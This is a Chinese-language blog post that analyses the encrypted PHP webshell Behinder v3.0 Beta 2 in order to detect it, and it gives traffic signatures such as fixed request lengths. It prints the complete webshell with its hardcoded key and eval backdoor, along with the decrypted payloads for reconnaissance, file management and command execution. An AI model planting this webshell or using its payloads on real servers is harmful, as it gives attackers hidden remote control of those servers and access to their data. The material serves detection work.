冰蝎v3.0 Beta 2(Behinder_v3.0 Beta 2)Webshell分析与检测

最近特殊时期开始的第一天(20200817),冰蝎的github项目就放出了加密Webshell管理的神器——冰蝎v3.0 Beta 1和2,给检测带来了更大的困难,普通的匹配字符串特征的检测已几乎不可能,下面简单分析一下。

这次最大的变化是去除了动态密钥协商机制,采用预共享密钥,全程无明文交互,密码的md5的前16位就是密钥

注:本文只针对当前的最新版冰蝎(Behinder) v3.0 Beta 2,并以PHP WebShell为例,其他的asp,jsp的也是类似的

实验环境

控制端:win10 + Behinder_v3.0 Beta 2
服务端:Ubuntu 16.04 + Apache + PHP 7.0.33

以shell.php为例的Webshell文件分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
@error_reporting(0);
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
}
?>

可以看到,相比冰蝎(Behinder) v2.0.1,去除了动态密钥协商机制,直接写死了key,一个16位的key,这个key是密码的md5得来的。—— 冰蝎(Behinder) v2.0.1的分析可以参考: https://www.giantbranch.cn/2019/10/08/%E5%86%B0%E8%9D%8E%E5%8A%A8%E6%80%81%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%8A%A0%E5%AF%86WebShell%E7%9A%84%E6%A3%80%E6%B5%8B/

1
substr(md5(rebeyond)),0,16) == "e45e329feb5d925b"

所以现在的通信示意图变成下面这样,直接用预设密钥进行加密通信

流量分析

通过抓取攻击流量,发现流量都是aes的加密结果

代码流程分析

注:通过在webshell中输出传输的明文,再base64解密即可获得下面列出的代码

首次连接

下面是点击打开webshell后,共执行了4个代码,后面两个是一样的,实际就算他3个吧

下面是第一个代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@error_reporting(0);
function main($content)
{
$result = array();
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($content);
$key = $_SESSION['k'];
echo encrypt(json_encode($result),$key);
}

function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}$content="2712cbef-2652-4eee-89b7-9a19d5aa7aaf";
main($content);

可以看到传递给服务器的是一个类似UUID的字符串,之后在main中组装成数组后转为json,再使用AES进行加密(没有openssl才使用异或加密) ,最后输出出来,这一步的目的应该是看看服务器的加密结果是否与加密结果一样,这样既可以检测是否是冰蝎webshell,也可以检测webshell的密码是否正确

注意$content,即类似UUID的字符串(没意外就是UUID),是会变的,但是长度不变,也就是请求包的长度不变,加密后的结果的长度也是固定的,所以返回包的内容的长度也是固定的(php的http响应)

所以特征很明显:

1、第一个请求包的特征为 Content-Length: 1112 (这个长度是php的,jsp的是8940,aspx是7232,v3.0 Beta 2的asp版本的功能还是老版本的,所以asp版本暂无)

2、Header存在Pragma: no-cache

下面看第二个代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
error_reporting(0);
function main() {
ob_start(); phpinfo(); $info = ob_get_contents(); ob_end_clean();
$driveList ="";
if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt"))
{
for($i=65;$i<=90;$i++)
{
$drive=chr($i).':/';
file_exists($drive) ? $driveList=$driveList.$drive.";":'';
}
}
else
{
$driveList="/";
}
$currentPath=getcwd();
//echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;
$osInfo=PHP_OS;
$result=array("basicInfo"=>base64_encode($info),"driveList"=>base64_encode($driveList),"currentPath"=>base64_encode($currentPath),"osInfo"=>base64_encode($osInfo));
//echo json_encode($result);
session_start();
$key=$_SESSION['k'];
//echo json_encode($result);
//echo openssl_encrypt(json_encode($result), "AES128", $key);
echo encrypt(json_encode($result), $key);
}

function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}
main();

可以看到第二个代码获取了以下几个信息:
1、phpinfo的输出
2、driveList,windows就是看看有哪些磁盘,linux直接返回”/“
3、当前的路径
4、通过环境变量PHP_OS获取系统是windows还是linux什么的

最后看下最后一个代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185

error_reporting(0);
header('Content-Type: text/html; charset=UTF-8');

function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
function getgbkStr($str){
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
$s1 = iconv('utf-8','gbk//IGNORE',$str);
if($s1 == $str){
return $s1;
}else{
return iconv('utf-8','gbk//IGNORE',$str);
}
}
function delDir($dir)
{
$files = array_diff(scandir($dir), array(
'.',
'..'
));
foreach ($files as $file) {
(is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file");
}
return rmdir($dir);
}

function main($mode, $path = ".", $content = "", $charset = "",$newpath)
{
$path=getgbkStr($path);
$result = array();
if ($path == ".")
$path = getcwd();
switch ($mode) {
case "list":
$allFiles = scandir($path);
$objArr = array();
foreach ($allFiles as $fileName) {
$fullPath = $path . $fileName;
if (!function_exists("mb_convert_encoding"))
{
$fileName=getSafeStr($fileName);
}
else
{
$fileName=mb_convert_encoding($fileName, 'UTF-8', mb_detect_encoding($fileName, "UTF-8,GBK"));
}
$obj = array(
"name" => base64_encode($fileName),
"size" => base64_encode(filesize($fullPath)),
"lastModified" => base64_encode(date("Y-m-d H:i:s", filemtime($fullPath)))
);
$obj["perm"] = is_readable($fullPath) . "," . is_writable($fullPath) . "," . is_executable($fullPath);
if (is_file($fullPath)) {
$obj["type"] = base64_encode("file");
} else {
$obj["type"] = base64_encode("directory");
}
array_push($objArr, $obj);
}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(json_encode($objArr));
echo encrypt(json_encode($result), $_SESSION['k']);
break;
case "show":
$contents = file_get_contents($path);
$result["status"] = base64_encode("success");
if (function_exists("mb_convert_encoding"))
{
if ($charset=="")
{
$charset = mb_detect_encoding($contents, array(
'GB2312',
'GBK',
'UTF-16',
'UCS-2',
'UTF-8',
'BIG5',
'ASCII'
));
}
$result["msg"] = base64_encode(mb_convert_encoding($contents, "UTF-8", $charset));
}
else
{
if ($charset=="")
{
$result["msg"] = base64_encode(getSafeStr($contents));
}
else
{
$result["msg"] = base64_encode(iconv($charset, 'utf-8//IGNORE', $contents));
}

}
$result = encrypt(json_encode($result),$_SESSION['k']);
echo $result;
break;
case "download":
if (! file_exists($path)) {
header('HTTP/1.1 404 NOT FOUND');
} else {
$file = fopen($path, "rb");
echo fread($file, filesize($path));
fclose($file);
}
break;
case "delete":
if (is_file($path)) {
if (unlink($path)) {
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($path . "删除成功");
} else {
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode($path . "删除失败");
}
}
if (is_dir($path)) {
delDir($path);
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($path."删除成功");
}
echo encrypt(json_encode($result),$_SESSION['k']);
break;
case "create":
$file = fopen($path, "w");
$content = base64_decode($content);
fwrite($file, $content);
fflush($file);
fclose($file);
if (file_exists($path) && filesize($path) == strlen($content)) {
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($path . "上传完成,远程文件大尿:" . $path . filesize($path));
} else {
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode($path . "上传失败");
}
echo encrypt(json_encode($result), $_SESSION['k']);
break;
case "append":
$file = fopen($path, "a+");
$content = base64_decode($content);
fwrite($file, $content);
fclose($file);
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($path . "追加完成,远程文件大尿:" . $path . filesize($path));
echo encrypt(json_encode($result),$_SESSION['k']);
break;
case "rename":
if (rename($path,$newpath)) {
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode("重命名完房:" . $newpath);
} else {
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode($path . "重命名失贿");
}
echo encrypt(json_encode($result), $_SESSION['k']);
break;
default:
break;
}
}

function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}$mode="list";$path="\var\www\html\Behinder_v3.0/";
main($mode,$path);

最后这两次代码是列出当前路径的文件

可以看到这个代码有以下功能:
1、列目录
2、获取文件内容
3、下载文件
4、删除文件
5、写入文件
6、向文件追加内容
7、重命名文件

命令执行

以id命令为例,可以看到跟v2.0是一样的,尝试用各种php执行命令的函数执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
@error_reporting(0);

function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
function main($cmd)
{
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$result = array();
$PadtJn = @ini_get('disable_functions');
if (! empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
}
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$c = $c . " 2>&1\n";
}
$JueQDBH = 'is_callable';
$Bvce = 'in_array';
if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
ob_start();
system($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
$handle = proc_open($c, array(
array(
'pipe',
'r'
),
array(
'pipe',
'w'
),
array(
'pipe',
'w'
)
), $pipes);
$kWJW = NULL;
while (! feof($pipes[1])) {
$kWJW .= fread($pipes[1], 1024);
}
@proc_close($handle);
} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
$kWJW = shell_exec($c);
} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW);
$kWJW = join(chr(10), $kWJW) . chr(10);
} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (! feof($fp)) {
$kWJW .= fread($fp, 1024);
}
}
@pclose($fp);
} else {
$kWJW = 0;
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
$key = $_SESSION['k'];
echo encrypt(json_encode($result), $key);
return;

}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo encrypt(json_encode($result), $_SESSION['k']);
}

function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}$cmd="id";
main($cmd);
打赏专区